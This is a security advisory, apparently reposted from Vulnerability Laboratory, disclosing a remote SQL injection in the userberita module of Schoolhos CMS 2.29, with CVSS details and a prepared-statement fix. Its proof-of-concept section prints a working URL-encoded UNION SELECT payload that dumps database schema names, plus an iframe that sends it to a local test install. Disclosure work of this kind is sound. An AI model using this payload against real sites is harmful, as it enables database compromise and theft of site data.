Schoolhos CMS 2.29 SQL Injection

2016-11-28T00:00:00
ID PACKETSTORM:139917
Type packetstorm
Reporter Lawrence Amer
Modified 2016-11-28T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Schoolhos CMS v2.29 - userberita SQL injection Vulnerability   
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1932  
  
  
Release Date:  
=============  
2016-11-22  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1932  
  
  
Common Vulnerability Scoring System:  
====================================  
6.8  
  
  
Product & Service Introduction:  
===============================  
Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.  
  
(Copy of the Vendor Homepage: http://www.schoolhos.com/ & https://sourceforge.net/projects/schoolhoscms/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the official Schoolhos v2_29 content management system.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-11-22: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Schoolhos  
Product: Schoolhos - Content Management System (Web-Application) 2016 Q3  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A remote sql injection web vulnerability has been discovered in the official Schoolhos v2_29 content management system.  
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.   
  
The sql injection vulnerability is located in the `user` parameter of the `index?p=userberita` module GET method request.   
Remote attackers are able to execute own sql commands by usage of an insecure GET method request through the vulnerable   
parameter of the own application. The attack vector of the vulnerability is application-side and the request method to   
inject is GET. The security vulnerability in the content management system is a classic select remote sql-injection.  
  
The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8.  
Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account.  
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.  
  
Request Method(s):  
[+] GET   
  
  
Vulnerable Module(s):  
[+] userberita   
  
  
Vulnerable Parameter(s):  
[+] user   
  
  
Proof of Concept (PoC):  
=======================  
The remote sql-injection web vulnerability can be exploited by remote attackers without privileged web-application user account and without user interaction.  
For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue.  
  
PoC: Payload  
999999.9%27+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C%28select+distinct+concat%280x  
7e%2C0x27%2Cschema_name%2C0x27%2C0x7e%29+from+%60information_schema%60.schemata+limit+0%2C1%29%2C0x31303235343830303536%2C0x31303235343  
830303536%2C0x31303235343830303536%2C0x31303235343830303536+and+%27x%27%3D%27x  
  
  
PoC: Exploitation  
<html>  
<head><body>  
<title>Schoolhos (userberita) - Remote SQL Injection Vulnerability</title>  
<iframe src="http://schoolhos.localhost:8080/versi_2.29/?p=userberita&user=999999.9%27+union+all+select+  
0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C%28select+  
distinct+concat%280x7e%2C0x27%2Cschema_name%2C0x27%2C0x7e%29+from+%60information_schema%60.schemata+limit+  
0%2C1%29%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536+and+%27x%27%3D%27x" width="700" height="700">  
  
  
Reference(s):  
http://schoolhos.localhost:8080/  
http://schoolhos.localhost:8080/versi_2.29/  
http://schoolhos.localhost:8080/versi_2.29/?p  
  
  
Solution - Fix & Patch:  
=======================  
The sql-injection web vulnerability can be patched by usage of a secure prepared statement to perform the queries.  
Parse the parameter input and filter the context. Disallow the usage of special chars to prevent further sql-injection attacks.  
  
  
Security Risk:  
==============  
The security risk of the sql-injection vulnerability in the schoolhos web-application is estimated as high. (CVSS 6.8)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Lawrence Amer (http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer)  
  
  
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=========================  
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